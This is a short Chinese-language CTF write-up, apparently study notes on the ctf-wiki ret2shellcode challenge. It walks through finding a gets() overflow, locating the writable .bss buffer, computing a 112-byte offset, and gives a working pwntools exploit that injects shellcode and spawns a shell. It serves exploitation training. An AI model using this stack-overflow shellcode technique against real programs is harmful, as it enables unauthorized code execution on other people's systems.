ctf-wiki
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
首先查看保护机制
checksec
程序并没有开启任何保护并且源程序中数据有可执行权限,可读、可写。
将文件放入ida,找main函数,f5
函数中有gets()函数
gets()函数将输入的字符串s通过strncpy()函数复制给buf2
通过查看可知buf2在bss段,地址为0x0804A080
这时需要通过简单调试确定bss段是否可执行
通过gdb调试,运行r,Ctrl+c打断,vmmap查看
bss段处在这两个地址之间,可知bss段可写
计算偏移量得112
exp
# -*- coding: utf-8 -*-
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x0804A080
sh.sendline(shellcode.ljust(112,'A')+p32(buf2_addr))
sh.interactive()
exp运行
部分小知识点:
bss段:存储未初始化或初值为0的全局变量和静态局部变量,可读写,在程序执行之前bss段会自动清0。
asm(shellcraft.sh())
asm()函数接收一个字符串作为参数,得到汇编码的机器代码
shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。
gets()函数是一个无限读取的函数,只要栈空间够大,就可以输入无限的字符(危险函数)